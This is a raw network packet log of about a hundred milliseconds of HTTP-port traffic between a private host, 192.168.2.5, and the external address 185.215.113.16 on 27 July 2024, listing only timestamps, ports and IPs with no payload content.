Jul 27, 2024 09:25:14.258560896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258570910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258582115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258590937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258600950 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258611917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.258626938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258626938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.258626938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.259273052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265166998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265182972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265192032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265201092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265211105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265219927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265229940 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265239000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265249014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265258074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265269995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265279055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265290022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265300035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265307903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265307903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265307903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265309095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265348911 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265361071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265371084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265379906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265389919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265398979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265408993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265414953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265414953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265419960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265429020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265439034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265449047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265458107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265466928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265474081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265474081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265474081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265476942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265492916 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265502930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265506983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265513897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265522957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265537977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265542030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265542030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265548944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265559912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265569925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265578985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265588999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265598059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265609980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265619993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265619993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265619993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265620947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265631914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265640974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265650034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265661001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265678883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265688896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265697956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265697956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265697956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265697956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265707016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265716076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265727043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265727997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265736103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265757084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265765905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265775919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265775919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265785933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265794992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265804052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265810013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265810013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265815020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265825987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265841007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265851974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265861988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265872002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265882969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265885115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265885115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265885115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265891075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265917063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265927076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265935898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265944958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265954018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265966892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265971899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265971899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265971899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265984058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.265985012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.265997887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266006947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266016006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266022921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266026020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266036034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266046047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266056061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266073942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266081095 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266081095 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266081095 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266083956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266093969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266104937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266120911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266125917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266127110 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266130924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266143084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266151905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266161919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266170025 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266170025 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266171932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266181946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266192913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266202927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266211987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266222000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266231060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266239882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266242981 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266242981 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266242981 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266249895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266259909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266268969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266279936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266290903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266299963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266325951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266325951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266325951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266346931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266347885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266359091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266367912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266406059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266415119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266424894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266437054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266475916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266475916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266475916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266643047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266653061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266663074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266671896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266683102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266693115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266701937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266715050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266726017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266741037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266741037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266741037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266782045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266792059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266802073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266813040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266818047 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266819000 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266819000 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266824961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266869068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266869068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.266989946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.266999960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267009020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267019033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267029047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267039061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267043114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267049074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267057896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267067909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267076969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267087936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267112970 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267112970 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267133951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267539024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267549038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267558098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267568111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267576933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267586946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267596006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267605066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267615080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267623901 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267633915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267642975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267652988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267662048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267662048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267663002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267662048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267673969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267683029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267699003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267702103 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267709017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267719030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267733097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267745018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267754078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267762899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267786026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267786026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267786026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267801046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267811060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267822981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267832994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.267873049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267873049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.267873049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268002987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268013954 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268024921 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268035889 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268047094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268057108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268068075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268079042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268090963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268112898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268112898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268112898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268134117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268165112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268176079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268186092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268198013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268208981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268248081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268271923 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268271923 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268311024 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268347979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268358946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268368959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268424988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268435955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268446922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268501043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268501043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268501043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268542051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268553972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268563032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268573999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268584013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268594980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268601894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268706083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268717051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268728971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268738031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268748999 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268748999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268748999 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268785000 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268799067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268810987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268821001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268831968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268836021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268842936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268846035 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268855095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268865108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268874884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.268924952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268924952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.268924952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.269150972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269164085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269175053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269186020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269196033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269257069 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.269258022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.269258022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.269717932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269730091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269740105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269752026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269762039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269773006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.269792080 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.269820929 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.270255089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270308971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270318985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270370960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270374060 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.270382881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270436049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270447969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270458937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270486116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.270486116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.270486116 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.270509958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270520926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:14.270550013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.270550013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:14.270555973 CEST	80	49705	185.215.113.16	192.168.2.5
